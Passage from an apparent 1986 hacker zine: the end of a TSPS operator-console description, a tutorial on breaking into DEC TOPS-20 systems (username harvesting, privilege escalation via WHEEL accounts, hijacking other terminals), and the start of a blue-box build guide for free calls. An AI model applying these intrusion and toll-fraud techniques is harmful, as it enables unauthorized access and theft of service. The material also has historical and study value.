-- Above is the standard AT&T 100-B console layout, while there may be additional or different keys on the various consoles, they will generally resemble the above layout closely. In the lower right hand corner you will notice the numbers 0-9 laid out into what resembles a keypad, this is exactly what it appears to be. The TSPS Operator uses this keypad for keying in not only routing information (Phone numbers, Inward routings, etc..) but as a multi purpose tool for entering various numeric codes recognized by the TSPS software itself. Routing information applied onto the trunks from the TSPS position is of course in MF (Multi-Frequency). When a TSO keys in a number or routing, the console buffers the KP+INFORMATION DIGITS until the ST key is pressed, at which time it plays the buffered KP+INFO DIGITS+ST onto the trunk in a uniformly spaced sequence. So if you were somehow able to listen in on a TSO actually routing a call, it would not sound like someone placing a call on a standard Touch-Tone telephone (or homemade blue box), but more like someone pressing a "Redial key" on a Touch-Tone (TT) phone. The duration of the tone and space between the tones are a network-wide standard, although the network in most cases is quite tolerant to deviations of this standard. (This "loose" tolerance is what allows us to simulate In-band signalling with our blue boxes).

-- At the upper left hand side of the diagram you will see the Ticket box, This box has 4 slots marked New, Cancel, Scratch and Completed. I believe this is used for manually filled out trouble and/or time tickets. As far as I know manually filled time tickets are a thing of the past, however in case of equipment failure the tickets are available I assume. TSO would manually fill out a trouble ticket to report trouble reaching a number out of her LAN (Local Area Network - or, The area directly served by her particular TSPS position), whereas to report trouble with a number in her LAN she would simply key in a trouble code (utilizing the KP-TRBL (Trouble) key). to automatically place a trouble report.

-- To the right of the Ticket box you will see the DISPLAY. The display works in conjunction with certain keys on the console, and is used to display timing information (hours, mins, sec's), Cost per minute, Calling number identification (what most people refer to as TSPS ANI), numbers called, and various special codes. The console display can be in one of two states, either 1) displaying digits, or 2) displaying nothing (dark). Both of which have different meanings when resulting from certain procedures attempted by a TSO. LIGHTED KEYS, and LAMPS on the console can be in one of three states either 1) NOT ILLUMINATED (dark), 2) ILLUMINATED, or 3) FLASHING. Again the state of a lamp/lamp-key meaning different things under different conditions.

II. KEY DESCRIPTIONS & USES

-- Below the Ticket box you will see a row of 5 keys starting with the key labeled "VFY" (Verify), these are various special purpose keys used by TSPS that have no real "grouping" unlike the other "Key groups". These are:

(VFY) - Verify, Illuminated key. Used in conjunction with the keypad, allows the TSO to verify (listen in) on a telephone call that is in progress, although any conversation taking place on that call is scrambled to the TSO, and despite popular belief THE SCRAMBLING PROCESS IS DONE AT THE CONSOLE LEVEL, AND NOT ON THE TRUNK LEVEL, SO FOR THOSE OF YOU WHO SEEN REFERENCE TO THE "BLV SCRAMBLING SHUT OFF TONE" PLEASE IGNORE IT, IF YOU WERE TO SOMEHOW GAIN ACCESS TO A VERIFICATION TRUNK FROM A NON-TSPS POSITION, THE CONVERSATION WOULD NOT BE SCRAMBLED.

(OVR SES) - Over Seas, Illuminated key. Used in overseas call completion through an Overseas Toll Completion Center/Server (IOCC). I believe it also allows the TSO to key in more than 10 digits (standard POTS) for IDDD call completion.

(SCN) - Screen, Illuminated key - Lights to notify TSO that incoming call has an associated screening code, (ie: 74=collect calls only, 93=special billing). Depressing this key causes the code to show on display, and it's up to the TSO to decipher the code and explain its meaning to the customer if he/she is attempting something forbidden by his associated screening code. (ie: Prison phones have a screening code of 74, allowing them to place collect calls only.)

(INW) - Inward, Illuminated key - Lights to notify the TSO that the incoming call is "Operator to Operator", therefore she answers by pressing the key and answering "Inward!". In most cases Inward Operators are actually TSPS, with their INWARD lamps lit.

(EMR INT) - Emergency Interrupt, Illuminated key. Used in conjunction with the VFY key, to interrupt a call in progress while a line Verification is being done, pressing this key causes an audible "beep" to be applied to the line, and de-activates the console scrambling (for roughly 30 seconds) , allowing the TSO to talk to the parties being verified/interrupted. Use of this key & the VFY key, is constantly kept track of via various security & maintenance TTY's and any abuse/misuse will set off alarms.

-- To the right of the above set of keys you will see three groups of LAMPS/Keys labled "Non-coin", "Coin 1", and "Hotel". The TSO utilizes the condition of these lamps to identify the status of incoming calls. There are three lamps that are common to each of the three groups, these are: "Sta", "0+", and "0-" their meaning is identical in each case as you will see below.

(Sta) - Lamp, NON-COIN STA lamp lights when a non-coin caller requires TSPS assistance in placing an otherwise direct-dialable call (in some rural areas that have limited DDD features). COIN STA lamp lights on direct dialed coin calls that are sent to TSPS for payment collection. HOTEL STA lights on Hotel originated DDD calls, TSPS also receives room number call is being originated from.

(0+) - Lamp, Lights to signify that the incoming call was originated by a customer dialing a "0+telephone number" for an operator assisted call in each of the three groups (coin, non-coin, hotel/motel). (ie. if a customer were to place a "person to person (op assisted) call from a payphone, this would cause the "0+" lamp in the "coin" group to light, one placed from a residential phone would cause the "0+" lamp in the "non-coin" group to light, etc..)

(0-) - aka "Dial Zero", Lamp. Lights to signify that the incoming call was originated by a customer simply dialing 0 (zero), in each of the three categories (non-coin, coin, hotel/motel).

(PST PAY) - Post Pay, Illuminated key. Coin group only, Depressed by TSPS when a customer requests a "post pay" call from a payphone, allowing him to deposit the full charge at the completion of the call.

(Tne) - Tone, Lamp. I believe this lamp lights to inform the TSO that a coin customer has flashed his/her switchook during a call in progress, requesting operator assistance, although I'm not positive of this.

(GST) - Guest, Illuminated key lights on all hotel originated calls.

-- Below the above rows of keys and to the far left you will see a row of keys labled "Outgoing Trunks". TSPS utilizes this group of keys to select various outgoing trunk groups the keys are used as follows:

(DA) - Directory Assistance, Illuminated key. Used by TSO to place calls to the directory assistance group.

(R&R) - Rate & Route, Illuminated key. Used to place calls to rate and route, I believe TSPS now goes to the Universal Rate and Route position known to all you boxers to be found at KP+800+141+1212+ST.

(SWB) - Switchboard, Illuminated key. I believe this key is used to reach a cord-board position, although I have no evidence of this.

(OGT) - Outgoing Trunk, Illuminated key. Depressed by TSO to select an outgoing trunk to be used to place operator assisted calls, special purpose calls (ie. Inward), etc..

-- To the right of this row of keys you will find the group labled "Ring", these keys are utilized by TSPS to activate special purpose ring features and line handling.

(BAK) - Ring Back, Illuminated key. Used by TSO to ring the originating party's line while holding the forward line in the event that the originating party looses his connection

(FWD) - Ring Forward, Illuminated Key. Exactly the opposite of ring back.

(CAL BAK) - Call Back, Illuminated key. Used in special operator call back situations on person to person calls where the called party is not available but a message is left anyway, I really don't understand it's full potential and most positions I have spoken with don't either.

(T&C) - Time and Charges, Illuminated key.

(Nfy) - Lamp. Used in Non-ACTS (Automatic Coin Toll Service) originated calls, lights to inform TSPS to notify caller of expiration if initial n minute period (n = number of minutes entered via the KP NFY key at the origination of the call).

(Chg Due) - Lamp. Lights to inform TSO that more money is needed at the completion of a TSO assisted coin call, the usual procedure is to ring the coin station back and attempt to frighten the customer into making the proper deposit ("If you don't pay we'll bill the called party...").

(Key Clg) - Key Calling, Lamp. This lamp is used by TSPS to determine the status of an incoming "Operator Number Identification" (ONI) marked caller or an incoming caller that was routed to TSPS due to an "ANI Failure" (ANIF) Both call conditions come to as a "0+" call (hotel, non-coin, coin - see above), if the calling party is marked as "ONI Required" the appropriate "0+" lamp will light, and the "Key Calling" lamp will be LIT STEADY. If the incoming call was due to an ANIF, the "0+" lamp will be lit, and the "Key Calling" lamp will be LIT & FLASHING.

-- Directly to the right of the "Ring" group of key's you will find the RELEASE set of key's, these two Illuminated key's allow the TSO to selectively release (disconnect from) either the calling, or called parties by pressing either the "Release Back" (BAK), or "Release Forward" (FWD) key respectively.

-- To the right of the release set, you will see a group of four key's with no particular "group designation", these again are various multi-purpose key's that serve the following:

(SR) - Service (assistance) Required, Illuminated Key. Pressed by TSO to Forward calling party to a supervisory console (ie. Irate Customers demanding supervisor), can also be used if she is confused and needs assistance.

(MB) - Make Busy, Illuminated key. Used to "Busy out" her console, lights when pressed, console will not take any incoming calls until it is pressed again. (ie: Useful when gabbing, doing nails, or filling out time/trouble tickets).

(Mt) - Maintenance, Lamp. This lamp Illuminates to warn the TSO that her console has been placed into remote maintenance/testing mode. A flashing MTNC lamp indicates a faulty console.

(PT) - Position Transfer, Illuminated Key. A TSO depresses this key to transfer the call in progress from her console (position) to another console.

-- Below the "Outgoing Trunk" keygroup, you will see a Lamp marked "Cw" Call Waiting - This lamp lights on every active console to inform a TSO that there are incoming calls waiting.

-- To the far right of the "Cw" lamp, you will find the AMA group of keys, broken into two sub-groups, which are "Station" and "Person", a complete description of each key in this group would require more room than I have available here, so if there's sufficient interest I will devote another article to the use of these key's. Basically these key's are used in conjunction with the "KP" and "AMA Timing" groups of key's (see below), for attaching the appropriate class of charge to the call being originated. The keys in the "Station" sub-class from left to right are "Paid" (PA), which is used to attach a "Station to Station" originating caller paid class of charge, "Collect" (COL) to attach "Station to Station" Collect Call. "Special Calling" (SP CG), and "Special Called" (SC CD) which are both used in "Special" Station to Station billing procedures, such as third party, or credit card calls. "Auto Collect" (AT CT), used in coin billing procedures and "Direct Distance Dialing" (DDD), Attaches a DDD class of charge in cases where you have trouble dialing a number and require operator assistance in completing a call. Below this row of keys you will find the "Person" sub-group of AMA keys, their uses are identical to those in the "Station to Station" group only they attach a "Person to Person" rate of charge. The "No AMA" (NO AMA), key is pressed to eliminate a charge for a person to person call where the called party is unavailable. Although all the key's in this group can take on different meanings under different conditions, the above definitions are suitable for the sake of this article. All key's in this group are Illuminated keys.

-- Below the "Cw" lamp you will find two keys under the heading "Coin 2", their uses on "Coin originated (payphone)" calls are: "Coin Collect" (COL) - which causes the payphone to collect coin, and the "Coin Return" (RET), causes it to return a coin. Both are Illuminated Key's.

-- To the right of the "Coin 2" group, you will find the "AMA Timing" group. These key's are used in conjunction with the "AMA", and "KP" groups for:

(CA TMG) - Cancel Timing, Illuminated Key. Cancels AMA timing charges and also allows TSO to change the class of charge on a call.

(ST TMG) - Start Timing, Illuminated Key. Used to start AMA timing after appropriate class of charge has been entered, and the calling party has reached

the called party in person to person calls (or in station to station DDD calls, destination ring has been established).

(CA CAL) - Cancel Call, Illuminated Key. Used in conjunction with the Cancel Timing key to Cancel a call and mark a "NON-COMPLETED" call on the AMA tapes (ie. A person to person call where the called party is not available).

(REC MSG) - Record (AMA) Message, Illuminated Key. Used at the completion of (completion meaning calling & called party are done talking), to record the time of the call and the appropriate class of charge onto the AMA tapes and releases their forward connection. -- To the right of the AMA timing group you will see three columns of four buttons under the heading of Loop Control. These allow the TSO to access any of the three loops available to her for placing calls. The keys have identical meaning in each set they are used in the following manner:

(CLG) - Calling Party, Lamp. Lights to signify person on said loop is a calling party.

(CLD) - Called Party, Lamp. Lights to signify that person on loop is a called party.

(HLD) - Hold, Illuminated key. Places a loop into a hold state, the calling and called party can talk to each other, and AMA timing can be started. The call is held at the console.

(ACS) - Access, Illuminated key. Used by TSO to initially access a loop. Pressing this key selects an outgoing loop, and readies the console for placing a call onto it. It is also used to allow TSO back into a loop(s) in a HOLD state.

-- To the right of the loop control group you will see the "Keypulse Key" group, these key's are pressed by the TSO to initialize the keypad parser into the proper mode for entering information, which is completed/entered by pressing the ST (START) key (to right of keypad). Their uses are as follows:

(KP TB) - KP Trouble, Illuminated key. Used to enter various TSO encountered trouble codes such as noisy line, customer(s) were cut off, couldn't complete call, etc. I believe the format for entering a trouble code is as follows: "KP TBL + TC + NTE + CN + ST" where KP TBL = KP Trouble Key, TC = 2 Digit Trouble code, NTE = Number of times Trouble was encountered (1 Digit), CN = Callers (phone) Number, and ST = the START key. a record of the trouble is made on the AMA tapes and the calling party is usually given credit.

(KP RT) - KP Rate, Illuminated. Used to enter and display Rate (Charge) information. Can also be used to display rate information at a customer request.

(KP HO) - KP Hotel, Illuminated Key. Used for manually entering a verbally requested room number on Hotel/Motel originated calls.

(KP NY) - KP Notify, Illuminated key. Used for entering time in Minutes on a NON-ACTS originated Coin call, when entered time duration is up, it causes the NFY Lamp (See above) to Flash.

(KP SP) - KP Special, Illuminated Key. Used for entering Special numbers such as credit card id's and third party billing numbers, causes TSPS software to automatically query the BVA (Billing Validation) database to check validity of number/CC, will flash if billing to an illegal card or number is attempted.

(KP BK) - KP Back, Illuminated Key. Used in entering the calling number in ANI failures (ANIF), and ONI (Operator Number Identification) required situations.

(KP FD) - KP Forward, Illuminated. Most commonly used KP Key. Used to enter called party's number on all TSO assisted calls. Pressing the ST (START) key causes the entered number to be applied onto the accessed trunks in MF.

(ST) - Start, Illuminated Key (Found to the right of the keypad). Used in completing all KP+number sequences listed above.

-- Below the "Coin 2" set of key's you will see the (POS RLS) - Position Release key, this key is used by the TSO to release her position from the call. She would hit POS RLS after completing a call, and also to release a person calling to ask her questions and not actually requesting a call be placed (ie. Name/place requests, etc..)

-- Below the Position Release key you will see a set of 5 key's labeled "Display Control", these key's are used to make the console display show various information. Their use is as follows:

(TIM) - Time, Unlighted Key. Displays time of day in Military format.

(CHG MIN) - Charge per Minute, Unlighted Key. Displays the $ charge per minute on a call in progress.

(CLG NUM) - Calling Number, Illuminated Key. Displays the number of the calling party.

(CLD NUM) - Called number, Illuminated Key. Displays the number of the called party.

(SPL NUM) - Special Number, Illuminated Key. Display's various special numbers such as Calling Card numbers, and third party billed numbers. Use of this key in displaying Calling Card numbers is as follows: Press it once you get first 10 digits of 16 digit Calling Card, press it a second time and get the second 6 digits of the Calling Card, press it again and it darkens the display.

-- That's it for the key's on the console, on the left hand side of the diagram you will see the "Multi Leaf Bulletin Tray", this is an all purpose holder for information leaflets that contain information on special numbers, Rate & Route information, special non-standard assistance routes, and various other TSPS related information. At the lower right hand side of the console is the "Number Plate", this is simply the console's Position number and ID number. It is a stamped metal plate, I haven't figured out any way to abuse it yet, other than scaring a TSO by knowing of it's existence.

** That's about it for this article, if there is sufficient interest in TSPS I will write further articles with more detail on the actual procedures used by the TSPS operator in call handling and such, I will also be writing an article on the BOC TOPS (Toll Operator Position Service) operators that have begun to pop up since the divestiture when I get some better information on the position itself. It seems that AT&T inwards no longer handle only long distance assistance in TOPS services areas and the TOPS op's handle all local area assistance.

Until then, Dial with Care.

The
Marauder
Legion of Doom!

Any questions, comments or clarifications can be made directly to me, or via the TJ's Staff account.

An Introduction to Hacking TOPS-20s

by

The Blue Archer

To begin with, I would like introduce this article and clarify a few things. Firstly, this article was written to familiarize interested hackers in DEC's TOPS-20 (Total OPerating System-20) and give them knowledge of how to properly utilize its resources. This article will generally be limited to the basics, with an advanced article forthcoming. Secondly, you may have seen other articles I have written on the Tops-20 a while back. Well this is simply a better organized and updated article with primarily the same information. And finally, I would like to say that I welcome any and all questions about the article or the operating system and would be glad to help out with any problems. I may be reached on certain boards or through the LOD/H TJ Staff Account on sponsor BBS's. Anyway, have a good time hacking your local TOPS!

Starting Notes

- o Capital letters in the beginning of a command indicate that those letters alone may be typed for the whole command.
- o <>: Brackets around any element(s) are required.
- o (): Parenthesis are not required unless otherwise stated.
- o D: This symbol refers to control (ex: DA= Control-A).
- o @: Is the general system prompt and is not considered to be typed by the user when shown in examples.
- o $: This is the enabled state system prompt (explained hereafter).

/EXTERNAL USAGE/

SECTION I: ACCESS

The commands for entering and leaving a Tops-20 are LOGin and LOGOut respectively. The correct usage of these command are as follows:

@LOGin USERNAME
@LOGOut USERNAME

Where username is a variable for the account name. Account names may be virtually anything, depending upon the system. I employ two methods for attaining usernames. The first, and most commonly known and used is checking the system status. This is done thusly:

@SYstat

This will cause the computer to list out various information about the assorted users logged in and their status and the status of the system as a whole. This command does not work on all Tops-20 computers from a non-logged in state, namely versions 6.1 and higher. A second and immensely more effective method is superior use of the escape character. The complete use of this character will be discussed later. For use in logging, one types LOGin and then a letter or series of letters and then the escape key. Depending on the number of usernames beginning with the same letter(s), the computer will fill in the rest of the username. Once the letters are in such a way that if one continued typing, only one valid username could be gotten, the escape key will fill in the rest if pressed. Here is an example:

@LOGin S(escape)
(the computer responds with a beep because there is more than one username starting with the letter S, so I type another letter)
@LOGin SM(escape)
(beep once more)
@LOGin SMI(escape)

```
@LOGin SMIth (PASSWORD)
          ^^
```

(The computer fills in the 'th' part of the username for me and asks for the password with the parenthesis and all).
One note: If the computer fills in an account name and then when a password is tried it responds with a 'not valid account' message, it simply means that it is a non-loginable files-only account which will be discussed later.

While trying to gain access to a system, it is wise to use all the pre-login resources avaiable. On versions 6.x these resources are virtualy nil but on the older versions, one may sometimes find an incredible amount of help. To see what actual help is available, type:

@HELP ?

Look for certain things like SECURITY and LOGINHELP. If the system in use is on a net, or for some reason the dialup number is not known but wanted, it can sometimes be found in help files most commonly named DIAL, DIALUP(S), and PHONES. So, to view them, simply type:

@HELP DIALUPS

Or the name of whatever help file that is desired to be seen.

The Information command is also a useful command, more fully discussed later. The most useful Information commands are as follows:

@Information VERSion

This will display the banner. If the computer, for security reasons, did not display the banner upon connection, then this may prove useful in identifying the target computer

@Information DEC

lists the various Decnet nodes available. On 6.x versions

@I DEC NODENAME

will tell if a path is open to the node or is the object node is currently up and running.

@I ARPA

will tell the status of ARPANET with respect to this particular computer. Meaning whether or not the software is up and running and the status of connections.

Networking will be explained in the advanced Tops hacking file.

/INTERNAL USAGE/

SECTION II: SYSTEM FUNCTIONS

Under normal circumstances, with the exception of currently running programs, the exec level (command level) prompt will be either #@' or #$' depending on certain options, which will be discussed later. For now we will assume the prompt is @. This is the place where commands given are executed immediately. Certain characters are also available for use here (and other places) which make life on a TOPS-20 easier. Here is a list of those characters:

1) DC: This gets the system's attention. It will break out of most programs and processes. It may be necessary to type 2 for it to work, though.
3) DO: Halts terminal output without interrupting the program. A second DO restarts output to terminal. Note: under this condition output is still being sent by the computer, it is just not printed on the terminal, as opposed to an actual ceasing of output by DS.
4) DS: Temporarily pauses current output.
5) DQ: Resumes output currently suspended by DS.
6) DR: Retypes current line discarding old line.
7) DT: Prints information including what the program in use is doing, CPU information, and load average (amount of users on system.)
8) (Escape): The Escape key causes a form of recognition for virtually anything being done on the TOPS. It will complete commands, filenames, and just about anything else being typed to the computer. For example I(escape) would result in the command INFORMATION. For further information on this command refer to the logging in procedure utilizing this feature.

9) ?: This is used to obtain information regarding what the system is expecting as input or what the current command options are. It may be used almost anywhere, including after single or multiple letters, filenames, etc.
example: @C?
would print a list of available exec level commands starting with the letter C.

Here is a list of commands used to obtain system information:

1) DAYtime: Prints current data and time of day.
2) HELP: Gives help on a wide variety of topics, depending on the system. For a complete list, type: HELP ?
3) Information: Provides information on a wide variety of topics. For a complete list, type: I ?
4) SYstat: Outputs a summary of system users and available computer resources.

SECTION III: ACCOUNT STRUCTURE

The TOPS-20 users login and use the system via accounts which are variable with different privilege levels and access rights. Accounts are specified by usernames and most of the time the directory names are the same as the account names as is also common for VMS. So, logging in under the SMITH means that one is under the account (username) SMITH. To find out the privileges of an account, type:
@I DIR <USERNAME>
This can always be done to the account logged in under, and sometimes to other accounts depending on access rights and the security of the other account. This command prints out information regarding the account specified. It will even show passwords on pre-6.x versions of TOPS if one has sufficient privs. In general the two major levels of privs are full and normal. Full privs are denoted by OPERATOR or WHEEL in the privilege information printed. This level gives the user complete authority over the system. The normal level of privs means anything else but OPERATOR or WHEEL. These forms of accounts have limited access with respect to system operations and other accounts. Access to certain programs, files, and information is restricted to whatever extent the system owners choose. Other minor privilege abilities enable the user to perform slightly more than completely normal users, and sometimes may be of importance depending on the circumstances.
Creation and modification of accounts is done through the BUIld command. Example:
@BUILD <USERNAME>
Where <USERNAME> is the account to be modified (already exists) or an account to be created (non-existant). Depending on the privs of the account attempting to build and system restrictions, one may have a great deal or virtually no power to create and modify. On most systems, only wheels and operators can create top level accounts (loginable non-subdirectory accounts). File storage sub-accounts can be created almost anywhere. These are simply accounts in which files are put, and these accounts cannot be logged into. To see what options have been chosen for the account being built, simply type:
@@LIST
Other options for the account being built are as follows:
1) WHEEL: This gives the account wheel (complete) privileges. If this option is chosen, then others may be excluded for it is all-encompassing, it overrides any and all protection.
2) OPERATOR: Same as wheel.
3) DECNET-ACCESS: This allows the account to use the decnet, assuming there is one available. DECNET and other nets will be explained in the advanced article.
4) ARPANET-ACCESS: Allows user to use the Arpanet.
5) ARPANET-WIZARD: This command allows the user ARPANET ACCESS and more. This account has the ability to turn the Arpanet software of the system on and off. The commands are as follows:
$DESET ARPA ON
$DESET ARPA OFF
Use of DE will be discussed in the next article. The dollar sign for the system prompt is explained later.

6) IPCF: Allows Inter-Process Communication Facility capabilities.
7) DEFAULT-FILE-PROTECTION: Sets the protection of the files in the user's directory. The lower, the more secure.
8) PROTECTION-OF-DIRECTORY: Sets protection of the actual account itself. This means who can connect to it, modify it, etc. Once again, the lower the protection, the more secure it is against others.
9) PASSWORD: Sets the password for the account. Type PASSword with the actual password after it.
10) KILL: This destroys the account. This command removes the account from the system.
To complete the creation/modification, type two carriage returns.

The system will not recognize the user as having its various privileges unless it is told that they are there. This is done thusly:
@ENAble
This enables all the user's privileges and changes the prompt to a '$'. All accounts, even wheels, are considered normal until enabled, so this must always be done before an action requiring privileges is performed. It is fine to do this immediately after logging in and leaving it like that, for it does not save any adverse effects. At all places in this article where there is a '@', if enabled would be a '$'.

SECTION IV: DIRECTORY USAGE

Directories are storage places for files. Each account has a directory in its own name, and possibly one or more subdirectories. To see what files are in the directory connected to at the moment, type the command DIRectory:
@DIR
This will list what files, if any, are accesable in this directory. At the time of login the computer sets the account's own directory as the one to be connected to unless otherwise specified by such things as login adjustment files (to be discussed at a later date.) Subdirectories of an account are denoted by a period between the account name and directory name. Example:
<ACCOUNTNAME.SUBDIRECTORYNAME>
Subdirectories are dealt with as normal directories for purposes of usage. Dealings with directories other than the current default directory require the use of brackets. For example, if one wanted to look in a directory titled <SMITH>, he would have to type:
@DIR <SMITH>
And assuming his directory is not protected, a list of files in the <SMITH> directory will be produced. The current default directory (the one connected to) does not require brackets for usage. Most directory commands may be used on other directories by simply placing the object directory (one to be commanded) in brackets after the command.
Here is a list of some of the more important directory related commands:

1) ACCESS: This command requires the password of the target directory and, if correctly given, transfers rights to that directory including creation/deletion of files, etc. The format for usage is:
@ACCESS <DIRECTORY>
2) CONNECT: This changes the current default directory to the specified one. It may be countered, though, by protection. If ACCESS to the object directory is on then connection may be established regardless of protection. The command is used like this:
@CONNECT <DIRECTORY>
3) COPY: This duplicates an already existing file in another directory to the current default directory or another specified directory. The format is:
@COPY <OBJECTDIRECTORY>FILENAME.FILETYPE
to copy it to the default directory, or:
@COPY <OBJECTDIRECTORY>FILENAME.FILETYPE <OTHERDIRECTORY>FILENAME.FILETYPE
to copy it to another directory.
4) DELete: Deletes the file from the directory. It still exists and may be retrieved until it is completely removed.
5) EXPunge: Completely removes deleted files from the system forever.

6) FDIRectory: Lists all information about all files in directory.
7) RENAme: Rename a specified file. The format is:
@RENAme FILENAME.FILETYPE NEWFILENAME.FILETYPE
8) UNDELete: Restores deleted files which have not been expunged yet.
9) VDIRectory: List all information about all files in directory specified, including protection, size, and date and time when they were last written.

Files in directories are in the form of:
FILENAME.FILETYPE.#
where filename is the name of the file, filetype is the kind of file, and # is the number of the file. If there is more than one file with the same name, multiple numbers will be shown. If a number is left out when a command dealing with a file is typed, then the file with the highest number will be used.
Here is a list of filetypes and how to properly use them:

1) .BAS: These are files written in basic. To use these, type BASIC or BASIC20 and LOAD them in and RUN, LIST, or modify them in the basic language and SAVE.
2) .BIN: These are binary files containing program data and are generaly not directly used.
3) .CMD: These are command files. They are files of a series of commands to be executed. Commands will be carried out as if typed by the user from the exec level. To use them, type:
@TAKE FILENAME.CMD
They are very useful for performing long processes which must be done often.
4) .CTL: This is a control file for batch jobs. It tells the batch job what to do when it logs in. Batch jobs are jobs logged into the account which created it to carry out commands. Further discussion of batch jobs is in the next TOPS article. The format for usage of these files are:
@SUBmit FILENAME.CTL
5) .EXE: Files of this sort are executable from the exec level. They are assembled programs in machine language and the fastest sort of program on the TOPS. To use them, type:
@<DIRECTORY>FILENAME.EXE
6) .HLP: This is basically just a text file. Use the same command as the .TXT forms of files. If a file of this sort is placed within the actual <HELP> directory, it becomes available to the whole system by simply typing:
@HELP FILENAME
All information obtained through the HELP command is actually in the form of files in the <HELP> directory.
7) .INIT: These are initialization routines for various programs. They are not used directly.
8) .LOG: This is the output of batch jobs. It details the actions of the job and the responses of the computer. To view, do this:
@TYpe FILENAME.LOG
9) .MEM: This is a memorandum. Often times being inter-office memos and the like. Use them as any normal text file.
10) .TEXT: This is the uncommon filetype name for a text file. See .TXT for proper usage.
11) .TXT: These are text files. They contain written information and data to be read. The command for using them is as follows:
@TYpe FILENAME.TXT

To use files in other directories, type the directory name in brackets before the filename. Ex:
@TYpe <SMITH>SECRET.TXT
This applies for all filetypes and commands. Once again restrictions may apply with regard to protection.

SECTION V: SYSTEM-WIDE COMMUNICATIONS

Communication to other system users is done primarily two ways: direct and indirect. Direct includes chatting with another online user and such, while indirect is generally done through electronic mail and the like.
Here are the common commands of direct communication:

1) ADVISE: When this is done, whatever is typed at one terminal is executed at another. For example:
 @ADVISE USERNAME
Then, whatever is typed will be carried out as if typed from that terminal until the link is broken.
2) BReak: This breaks all links to the terminal typing BReak.
3) RECEIVE: This allows the terminal to receive either LINKS or ADVICE, as specified by the command. Ex:
@RECEIVE ADVICE
4) REFUSE: This puts up a barrier keeping links or advice from reaching the terminal. REFUSE ADVICE is default when logging in, so in order receive advice, one would have to type the proper command.
5) REMark: Goes into a chat state in which textual information is sent to the computer and not interpreted as commands.
6) TALK: Establishes a link between two terminals. Ex:
@TALK SMITH
would establish a link with SMITH. Whatever is typed is seen by both parties. REMark is useful here if a conversation is to ensue.

Electronic mail can be sent and read through various programs. The most common ones being MM, MAIL, MS, and RDMAIL. Users are informed when they have a message waiting upon logging in. Mail is stored in the file MAIL.TXT in the user's directory. MM and MS are the best mail programs and should be the ones used, so here is a very brief explanation of the major commands they both use (they are very similar).
1) SEND: This is the command used to send mail to another user. At the prompt of the respective mail program, type SEND and a carriage return, the computer will prompt for information such as the user for the message to be sent to, other users to receive a copy of the message, and the title of the piece of mail.
2) READ: This command, if typed with no argument, will start reading all currently unread mail. If used with the number of a piece of mail, it will read that one alone.
3) HEADERS ALL: This will give a list of all the titles of the various pieces of mail in the user's mailbox and the corresponding number of that mail.
Sending mail over networks will be discussed in the next article. Look for it in the next issue of the Technical Journal.

Blue Archer (LOH)

The LOD/H Technical Journal: File #6 of 12

```
+--------------------------------+
|   Building Your Own Blue Box   |
+--------------------------------+
|               By               |
|          Jester Sluggo         |
|     Released: Nov. 27, 1986    |
+--------------------------------+
```

This Blue Box is based on the Exar 2207 Voltage Controlled Oscillator. There are other ways to build Blue Boxes, some being better and some not as good, but I chose to do it this way. My reason for doing so: because at the time I started this project, about the only schematic available on BBS's was the one written by Mr. America and Nickie Halflinger. Those plans soon (in about 90 seconds) became very vague in their context with a couple in-consistencies, but I decided to "rough it out" using those plans (based on the Exar 2207 VCO) and build the Blue Box using that as my guide. During the construction of the Blue Box, I decided to type-up a "more complete and clear" set of Blue Box schematics than the file that I based mine on, in order to help

others who may be trying/thinking of building a Blue Box. I hope these help.

Note: You should get a copy of the Mr. America/Nickie Halflinger Blue Box plans. Those plans may be of help to anyone who may have difficulty understanding these plans. Also, these plans currently do not support CCITT.

Why should I build a Blue Box ?

Many of you may have that question, and here's my answer. Blue Boxing was the origin of phreaking (excluding whistling). Without the advent of Blue Boxes, I feel that some of the advances in the telecommunications industry would've taken longer to develop (The need to stop the phone phreaks forced AT+T Bell Laboratories to "step up" their development to stop those thieves!).

There is no harm in building a Blue Box (except the knowledge you will gain in the field of electronics). Although there are software programs (Soft Blue Boxes) available for many micro's that will produce the Blue Box Multi-Frequency (MF) tones, they are not as portable as an actual Blue Box (you can't carry your computer to a telephone, so you must use it from home which could possibly lead to danger).

Many phreaks are announcing the end of the Blue Box Era, but due to discoveries I have made (even on ESS 1A and possibly ESS 5), I do not believe this to be true. Although many people consider Blue Boxing "a pain in the ass", I consider Blue Boxing to be "phreaking in its' purest form". There is much to learn on the current fone network that has not been written about, and Blue Boxes are necessary for some of these discoveries. The gift of free fone calls tends to be a bonus.

Note: Blue Boxes also make great Christmas gifts!

Items needed to construct a Blue Box.

Here is the list of items you will need and where you can get them. It may be a good idea to gather some of the key parts (the chips, and especially the potentiometers, they took about 6 months to back order through Digi-key. A whole 6 fucking months!) before you start this project. Also, basic electronics tools will be necessary, and you might want to test the circuit on a bread board, then wire-wrap the final project. Also, you will need a box of some sort to put it in (like the blue plastic kind at Radio Shack that cost around $5.00).

Note: An oscilliscope should be used when tuning in the potentiometers because the Bell system allows only a 7-10% tolerance in the precision of the frequencies.

Qty.	Item	Part No.	Place
1	4 x 4 Keypad		Digi-Key
6	Inverter Chip	74C04	
32	Potentiometer		
1	4-16 Converter Chip	74LS154	
1	16 Key Decoder	74C922	
2	2207 VCO	XR2207CP	Exar Corp.
3	.01 uf Capacitor	272-1051	Radio Shack
5	.1 uf Capacitor	272-135	Radio Shack
2	1.5K Ohn Resistor		Radio Shack
2	1.0K Ohm Resistor		Radio Shack
1	Speaker		From an old Autovon fone.
1	9 Volt Battery		Anywhere

The resistors should be a +/- 5% tolerance.

The speaker can be from a regular telephone (mine just happened to be from an old Autovon phone). But make sure that you remove the diode.

The Potentiometers should have a 100K Ohm range (but you may want to make the calculations yourself to double check).

The 9-volt battery can be obtained for free if you use your Radio Shack Free Battery Club card.

The Exar 2207 VCO can be found if you call the Exar Corp. located in Sunnyvale, California. Call them, and tell them the state you live in, and they'll give the name and phone number to the distributor that is located closest to you. The 2207 will vary from about $3.00 for the silicon-grade (which is the one you'll want to use) to about $12.00 for the high-grade Military chip.

Note: When you call Exar, you may want to ask them to send you the spec-sheets that gives greater detail as to the operation and construction of the chip.

```
                    +-------------------+
                    | Schematic Diagram |
                    +-------------------+

            +--------------+            +-------------+
            |  1  2  3  A  |            |  Figure #1  |
            |  4  5  6  B  |            +-------------+
            |  7  8  9  C  |            | Logic Side  |
            |  *  0  #  D  |            +-------------+
            ++-+-+-+-+-+-+-+
             1 | 3 | 5 | 7 |           (VCC)
             | 2 | 4 | 6 | 8           (+5 Volts)    +----+
             | | | | | | | |             [+]         |   _|_
             | | | | | | | |              |          |   X_/GND
